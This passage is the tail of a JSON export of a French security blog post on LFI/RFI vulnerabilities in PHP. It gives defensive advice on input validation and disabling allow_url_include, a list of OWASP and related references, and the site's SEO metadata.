sizes=\"auto, (max-width: 873px) 100vw, 873px\" \/><\/a><\/p>\n<pre>Le comportement de la fonction de d\u00e9codage en base64 est d\u00e9taill\u00e9 dans le document suivant :\r\n <a href=\"http:\/\/www.ptsecurity.ru\/ics\/%D0%90.%D0%9C%D0%BE%D1%81%D0%BA%D0%B2%D0%B8%D0%BD_%D0%9E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF_%D0%B8%D1%81%D0%BF_%D0%A0%D0%9D%D0%A0_wrappers.pdf\">http:\/\/www.ptsecurity.ru\/ics\/%D0%90.%D0%9C%D0%BE%D1%81%D0%BA%D0%B2%D0%B8%D0%BD_%D0%9E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF_%D0%B8%D1%81%D0%BF_%D0%A0%D0%9D%D0%A0_wrappers.pdf<\/a><\/pre>\n<h2>Comment se prot\u00e9ger ?<\/h2>\n<p>Pour se pr\u00e9munir des attaques LFI, il n\u2019y a pas d\u2019autre mani\u00e8re que de filtrer et valider les entr\u00e9es utilisateurs. Il ne faut jamais inclure\/ex\u00e9cuter directement une entr\u00e9e utilisateur !<\/p>\n<p>Pour le cas des RFI, il est possible de d\u00e9sactiver le support en passant la valeur des directives \u201callow_url_open\u201d et \u201callow_url_include\u201d \u00e0 \u201cOff\u201d.<\/p>\n<p>Vous pouvez bloquer l\u2019utilisation des wrappers en installant l\u2019extension Suhosin pour PHP (sauf si \u201callow_url_include\u201d = \u201cOn\u201d).<\/p>\n<p>Les fonctions suivantes renverront \u201cfalse\u201d si un wrapper est utilis\u00e9 dans le nom du fichier :<\/p>\n<ul>\n<li><a title=\"Fonction PHP File Exists\" href=\"http:\/\/php.net\/manual\/fr\/function.file-exists.php\" target=\"_blank\">file_exists<\/a><\/li>\n<li><a title=\"PHP Fonction is_file\" href=\"http:\/\/php.net\/manual\/fr\/function.is-file.php\" target=\"_blank\">is_file<\/a><\/li>\n<li><a href=\"http:\/\/php.net\/manual\/fr\/function.filesize.php\" target=\"_blank\">filesize<\/a><\/li>\n<\/ul>\n<h2>R\u00e9f\u00e9rences, Bibliographie et Webographie<\/h2>\n<ul>\n<li>OWASP Top10 : <a href=\"https:\/\/www.owasp.org\/index.php\/Category:OWASP_Top_Ten_Project\" target=\"_blank\">https:\/\/www.owasp.org\/index.php\/Category:OWASP_Top_Ten_Project<\/a><\/li>\n<li>OWASP Top10 2007 &#8211; Malicious File Execution : <a href=\"https:\/\/www.owasp.org\/index.php\/Top_10_2007-Malicious_File_Execution\" target=\"_blank\">https:\/\/www.owasp.org\/index.php\/Top_10_2007-Malicious_File_Execution<\/a><\/li>\n<li>OWASP LFI : <a href=\"https:\/\/www.owasp.org\/index.php\/Testing_for_Local_File_Inclusion\" target=\"_blank\">https:\/\/www.owasp.org\/index.php\/Testing_for_Local_File_Inclusion<\/a><\/li>\n<li>OWASP RFI : <a href=\"https:\/\/www.owasp.org\/index.php\/Testing_for_Remote_File_Inclusion\" target=\"_blank\">https:\/\/www.owasp.org\/index.php\/Testing_for_Remote_File_Inclusion<\/a><\/li>\n<li>OWASP Cheat Sheet &#8211; File Uploads : <a href=\"https:\/\/www.owasp.org\/index.php\/PHP_Security_Cheat_Sheet#File_uploads\" target=\"_blank\">https:\/\/www.owasp.org\/index.php\/PHP_Security_Cheat_Sheet#File_uploads<\/a><\/li>\n<li>Documentation PHP Protocol Wrappers : <a href=\"http:\/\/www.php.net\/manual\/en\/wrappers.php.php\" target=\"_blank\">http:\/\/www.php.net\/manual\/en\/wrappers.php.php<\/a><\/li>\n<li>Documentation PHP Filter : <a href=\"http:\/\/www.php.net\/manual\/en\/filters.convert.php\" target=\"_blank\">http:\/\/www.php.net\/manual\/en\/filters.convert.php<\/a><\/li>\n<li>WebSec LFI : <a href=\"http:\/\/websec.wordpress.com\/2010\/02\/22\/exploiting-php-file-inclusion-overview\/\" target=\"_blank\">http:\/\/websec.wordpress.com\/2010\/02\/22\/exploiting-php-file-inclusion-overview\/<\/a><\/li>\n<li>Base64 Encode\/Decode Online : <a href=\"http:\/\/www.base64encode.org\/\" target=\"_blank\">http:\/\/www.base64encode.org\/<\/a><\/li>\n<li>OWASP XEE Attack : <a href=\"https:\/\/www.owasp.org\/index.php\/XML_External_Entity_%28XXE%29_Processing\" target=\"_blank\">https:\/\/www.owasp.org\/index.php\/XML_External_Entity_%28XXE%29_Processing<\/a><\/li>\n<li>Url Encode\/Decode Online : <a href=\"http:\/\/meyerweb.com\/eric\/tools\/dencoder\/\" target=\"_blank\">http:\/\/meyerweb.com\/eric\/tools\/dencoder\/<\/a><\/li>\n<li>Exemple d\u2019exploitation via shellcode et base64decode : <a href=\"http:\/\/itdrafts.blogspot.fr\/2011\/08\/exploiting-php-file-inclusion.html\" target=\"_blank\">http:\/\/itdrafts.blogspot.fr\/2011\/08\/exploiting-php-file-inclusion.html<\/a><\/li>\n<li>Diaporama sur les streams en PHP : <a href=\"http:\/\/www.ptsecurity.ru\/ics\/%D0%90.%D0%9C%D0%BE%D1%81%D0%BA%D0%B2%D0%B8%D0%BD_%D0%9E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF_%D0%B8%D1%81%D0%BF_%D0%A0%D0%9D%D0%A0_wrappers.pdf\" target=\"_blank\">http:\/\/www.ptsecurity.ru\/ics\/%D0%90.%D0%9C%D0%BE%D1%81%D0%BA%D0%B2%D0%B8%D0%BD_%D0%9E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF_%D0%B8%D1%81%D0%BF_%D0%A0%D0%9D%D0%A0_wrappers.pdf<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Dans ce quatri\u00e8me article de la s\u00e9rie consacr\u00e9e aux failles applicatives, j\u2019aborde les failles LFI et RFI au travers de l\u2019OWASP. Vous d\u00e9couvrirez ces failles et apprendrez \u00e0 les d\u00e9tecter. Vous verrez enfin les moyens de vous en pr\u00e9munir.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[33],"tags":[41,42,26,43,44,28,45,46,70],"class_list":["post-166","post","type-post","status-publish","format-standard","hentry","category-veille-technique","tag-lfi","tag-local-file-inclusion","tag-owasp","tag-remote-file-inclusion","tag-rfi","tag-security","tag-securite-applicative","tag-securite-des-systemes-dinformation","tag-shellcoding"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>OWASP \/ Local-Remote File Inclusion (LFI \/ RFI) &amp; PHP Shellcoding - Mickael FRANC (aka Pilebones)<\/title>\n<meta name=\"description\" content=\"Dans ce quatri\u00e8me article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les failles LFI et RFI au travers de l\u2019OWASP. Vous d\u00e9couvrirez ces failles et apprendrez \u00e0 les d\u00e9tecter. Vous verrez enfin les moyens de vous en pr\u00e9munir.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/blog.clever-age.com\/fr\/2014\/10\/21\/owasp-local-remote-file-inclusion-lfi-rfi\/\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"OWASP \/ Local-Remote File Inclusion (LFI \/ RFI) &amp; PHP Shellcoding - Mickael FRANC (aka Pilebones)\" \/>\n<meta property=\"og:description\" content=\"Dans ce quatri\u00e8me article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les failles LFI et RFI au travers de l\u2019OWASP. Vous d\u00e9couvrirez ces failles et apprendrez \u00e0 les d\u00e9tecter. Vous verrez enfin les moyens de vous en pr\u00e9munir.\" \/>\n<meta property=\"og:url\" content=\"http:\/\/blog.clever-age.com\/fr\/2014\/10\/21\/owasp-local-remote-file-inclusion-lfi-rfi\/\" \/>\n<meta property=\"og:site_name\" content=\"Mickael FRANC (aka Pilebones)\" \/>\n<meta property=\"article:published_time\" content=\"2014-10-01T21:08:48+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2015-11-13T14:12:16+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/blog.clever-age.com\/wp-content\/uploads\/sites\/2\/2013\/09\/owasp_logo_150_150.jpg\" \/>\n<meta name=\"author\" content=\"Mickael FRANC\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mickaelfranc\" \/>\n<meta name=\"twitter:site\" content=\"@mickaelfranc\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mickael FRANC\" \/>\n\t<meta name=\"twitter:label2\" content=\"Dur\u00e9e de lecture estim\u00e9e\" \/>\n\t<meta name=\"twitter:data2\" content=\"15 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/10\\\/21\\\/owasp-local-remote-file-inclusion-lfi-rfi\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/owasp-local-remote-file-inclusion-lfi-rfi\\\/\"},\"author\":{\"name\":\"Mickael FRANC\",\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/#\\\/schema\\\/person\\\/9992f50dd21435e37ce7c0558f3f780c\"},\"headline\":\"OWASP \\\/ Local-Remote File Inclusion (LFI \\\/ RFI) &#038; PHP Shellcoding\",\"datePublished\":\"2014-10-01T21:08:48+00:00\",\"dateModified\":\"2015-11-13T14:12:16+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/owasp-local-remote-file-inclusion-lfi-rfi\\\/\"},\"wordCount\":2686,\"commentCount\":0,\"image\":{\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/10\\\/21\\\/owasp-local-remote-file-inclusion-lfi-rfi\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/wp-content\\\/uploads\\\/2014\\\/10\\\/lfi_rfi.png\",\"keywords\":[\"LFI\",\"Local File Inclusion\",\"OWASP\",\"Remote File Inclusion\",\"RFI\",\"S\u00e9curit\u00e9\",\"S\u00e9curit\u00e9 Applicative\",\"S\u00e9curit\u00e9 des syst\u00e8mes d'information\",\"Shellcoding\"],\"articleSection\":[\"Veille technique\"],\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/10\\\/21\\\/owasp-local-remote-file-inclusion-lfi-rfi\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/owasp-local-remote-file-inclusion-lfi-rfi\\\/\",\"url\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/10\\\/21\\\/owasp-local-remote-file-inclusion-lfi-rfi\\\/\",\"name\":\"OWASP \\\/ Local-Remote File Inclusion (LFI \\\/ RFI) & PHP Shellcoding - Mickael FRANC (aka Pilebones)\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/10\\\/21\\\/owasp-local-remote-file-inclusion-lfi-rfi\\\/#primaryimage\"},\"image\":{\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/10\\\/21\\\/owasp-local-remote-file-inclusion-lfi-rfi\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/wp-content\\\/uploads\\\/2014\\\/10\\\/lfi_rfi.png\",\"datePublished\":\"2014-10-01T21:08:48+00:00\",\"dateModified\":\"2015-11-13T14:12:16+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/#\\\/schema\\\/person\\\/9992f50dd21435e37ce7c0558f3f780c\"},\"description\":\"Dans ce quatri\u00e8me article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les failles LFI et RFI au travers de l\u2019OWASP. Vous d\u00e9couvrirez ces failles et apprendrez \u00e0 les d\u00e9tecter. Vous verrez enfin les moyens de vous en pr\u00e9munir.\",\"breadcrumb\":{\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/10\\\/21\\\/owasp-local-remote-file-inclusion-lfi-rfi\\\/#breadcrumb\"},\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/10\\\/21\\\/owasp-local-remote-file-inclusion-lfi-rfi\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/10\\\/21\\\/owasp-local-remote-file-inclusion-lfi-rfi\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/wp-content\\\/uploads\\\/2014\\\/10\\\/lfi_rfi.png\",\"contentUrl\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/wp-content\\\/uploads\\\/2014\\\/10\\\/lfi_rfi.png\",\"width\":150,\"height\":150,\"caption\":\"LFI & RFI\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/10\\\/21\\\/owasp-local-remote-file-inclusion-lfi-rfi\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"OWASP \\\/ Local-Remote File Inclusion (LFI \\\/ RFI)\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/\",\"name\":\"Mickael FRANC (aka Pilebones)\",\"description\":\"Tech Blog &gt; \\\/ dev\\\/security\\\/adminsys\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"fr-FR\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/#\\\/schema\\\/person\\\/9992f50dd21435e37ce7c0558f3f780c\",\"name\":\"Mickael FRANC\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g\",\"caption\":\"Mickael FRANC\"},\"description\":\"Software engineer @Cisco Lyon (FR) - Enthusiast about IT security (@OWASP) - Archlinux - Golang, Bash, Embedded &amp; dev system - Paragliding remaining time\",\"sameAs\":[\"https:\\\/\\\/www.mickael-franc.fr\\\/\",\"mickael.fnc\",\"https:\\\/\\\/x.com\\\/mickaelfranc\",\"https:\\\/\\\/www.youtube.com\\\/channel\\\/UCWrM3BvHAkXTEMZvWmfoaAA\"],\"url\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/author\\\/mfranc\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"OWASP \/ Local-Remote File Inclusion (LFI \/ RFI) & PHP Shellcoding - Mickael FRANC (aka Pilebones)","description":"Dans ce quatri\u00e8me article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les failles LFI et RFI au travers de l\u2019OWASP. Vous d\u00e9couvrirez ces failles et apprendrez \u00e0 les d\u00e9tecter. Vous verrez enfin les moyens de vous en pr\u00e9munir.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/blog.clever-age.com\/fr\/2014\/10\/21\/owasp-local-remote-file-inclusion-lfi-rfi\/","og_locale":"fr_FR","og_type":"article","og_title":"OWASP \/ Local-Remote File Inclusion (LFI \/ RFI) & PHP Shellcoding - Mickael FRANC (aka Pilebones)","og_description":"Dans ce quatri\u00e8me article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les failles LFI et RFI au travers de l\u2019OWASP. Vous d\u00e9couvrirez ces failles et apprendrez \u00e0 les d\u00e9tecter. Vous verrez enfin les moyens de vous en pr\u00e9munir.","og_url":"http:\/\/blog.clever-age.com\/fr\/2014\/10\/21\/owasp-local-remote-file-inclusion-lfi-rfi\/","og_site_name":"Mickael FRANC (aka Pilebones)","article_published_time":"2014-10-01T21:08:48+00:00","article_modified_time":"2015-11-13T14:12:16+00:00","og_image":[{"url":"http:\/\/blog.clever-age.com\/wp-content\/uploads\/sites\/2\/2013\/09\/owasp_logo_150_150.jpg","type":"","width":"","height":""}],"author":"Mickael FRANC","twitter_card":"summary_large_image","twitter_creator":"@mickaelfranc","twitter_site":"@mickaelfranc","twitter_misc":{"\u00c9crit par":"Mickael FRANC","Dur\u00e9e de lecture estim\u00e9e":"15 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"http:\/\/blog.clever-age.com\/fr\/2014\/10\/21\/owasp-local-remote-file-inclusion-lfi-rfi\/#article","isPartOf":{"@id":"https:\/\/www.mickael-franc.fr\/blog\/owasp-local-remote-file-inclusion-lfi-rfi\/"},"author":{"name":"Mickael FRANC","@id":"https:\/\/www.mickael-franc.fr\/blog\/#\/schema\/person\/9992f50dd21435e37ce7c0558f3f780c"},"headline":"OWASP \/ Local-Remote File Inclusion (LFI \/ RFI) &#038; PHP Shellcoding","datePublished":"2014-10-01T21:08:48+00:00","dateModified":"2015-11-13T14:12:16+00:00","mainEntityOfPage":{"@id":"https:\/\/www.mickael-franc.fr\/blog\/owasp-local-remote-file-inclusion-lfi-rfi\/"},"wordCount":2686,"commentCount":0,"image":{"@id":"http:\/\/blog.clever-age.com\/fr\/2014\/10\/21\/owasp-local-remote-file-inclusion-lfi-rfi\/#primaryimage"},"thumbnailUrl":"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/10\/lfi_rfi.png","keywords":["LFI","Local File Inclusion","OWASP","Remote File Inclusion","RFI","S\u00e9curit\u00e9","S\u00e9curit\u00e9 Applicative","S\u00e9curit\u00e9 des syst\u00e8mes d'information","Shellcoding"],"articleSection":["Veille technique"],"inLanguage":"fr-FR","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["http:\/\/blog.clever-age.com\/fr\/2014\/10\/21\/owasp-local-remote-file-inclusion-lfi-rfi\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.mickael-franc.fr\/blog\/owasp-local-remote-file-inclusion-lfi-rfi\/","url":"http:\/\/blog.clever-age.com\/fr\/2014\/10\/21\/owasp-local-remote-file-inclusion-lfi-rfi\/","name":"OWASP \/ Local-Remote File Inclusion (LFI \/ RFI) & PHP Shellcoding - Mickael FRANC (aka Pilebones)","isPartOf":{"@id":"https:\/\/www.mickael-franc.fr\/blog\/#website"},"primaryImageOfPage":{"@id":"http:\/\/blog.clever-age.com\/fr\/2014\/10\/21\/owasp-local-remote-file-inclusion-lfi-rfi\/#primaryimage"},"image":{"@id":"http:\/\/blog.clever-age.com\/fr\/2014\/10\/21\/owasp-local-remote-file-inclusion-lfi-rfi\/#primaryimage"},"thumbnailUrl":"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/10\/lfi_rfi.png","datePublished":"2014-10-01T21:08:48+00:00","dateModified":"2015-11-13T14:12:16+00:00","author":{"@id":"https:\/\/www.mickael-franc.fr\/blog\/#\/schema\/person\/9992f50dd21435e37ce7c0558f3f780c"},"description":"Dans ce quatri\u00e8me article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les failles LFI et RFI au travers de l\u2019OWASP. Vous d\u00e9couvrirez ces failles et apprendrez \u00e0 les d\u00e9tecter. Vous verrez enfin les moyens de vous en pr\u00e9munir.","breadcrumb":{"@id":"http:\/\/blog.clever-age.com\/fr\/2014\/10\/21\/owasp-local-remote-file-inclusion-lfi-rfi\/#breadcrumb"},"inLanguage":"fr-FR","potentialAction":[{"@type":"ReadAction","target":["http:\/\/blog.clever-age.com\/fr\/2014\/10\/21\/owasp-local-remote-file-inclusion-lfi-rfi\/"]}]},{"@type":"ImageObject","inLanguage":"fr-FR","@id":"http:\/\/blog.clever-age.com\/fr\/2014\/10\/21\/owasp-local-remote-file-inclusion-lfi-rfi\/#primaryimage","url":"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/10\/lfi_rfi.png","contentUrl":"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/10\/lfi_rfi.png","width":150,"height":150,"caption":"LFI & RFI"},{"@type":"BreadcrumbList","@id":"http:\/\/blog.clever-age.com\/fr\/2014\/10\/21\/owasp-local-remote-file-inclusion-lfi-rfi\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.mickael-franc.fr\/blog\/"},{"@type":"ListItem","position":2,"name":"OWASP \/ Local-Remote File Inclusion (LFI \/ RFI)"}]},{"@type":"WebSite","@id":"https:\/\/www.mickael-franc.fr\/blog\/#website","url":"https:\/\/www.mickael-franc.fr\/blog\/","name":"Mickael FRANC (aka Pilebones)","description":"Tech Blog &gt; \/ dev\/security\/adminsys","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.mickael-franc.fr\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"fr-FR"},{"@type":"Person","@id":"https:\/\/www.mickael-franc.fr\/blog\/#\/schema\/person\/9992f50dd21435e37ce7c0558f3f780c","name":"Mickael FRANC","image":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/secure.gravatar.com\/avatar\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g","caption":"Mickael FRANC"},"description":"Software engineer @Cisco Lyon (FR) - Enthusiast about IT security (@OWASP) - Archlinux - Golang, Bash, Embedded &amp; dev system - Paragliding remaining time","sameAs":["https:\/\/www.mickael-franc.fr\/","mickael.fnc","https:\/\/x.com\/mickaelfranc","https:\/\/www.youtube.com\/channel\/UCWrM3BvHAkXTEMZvWmfoaAA"],"url":"https:\/\/www.mickael-franc.fr\/blog\/author\/mfranc\/"}]}},"_links":{"self":[{"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/posts\/166","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/comments?post=166"}],"version-history":[{"count":10,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/posts\/166\/revisions"}],"predecessor-version":[{"id":253,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/posts\/166\/revisions\/253"}],"wp:attachment":[{"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/media?parent=166"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/categories?post=166"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/tags?post=166"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}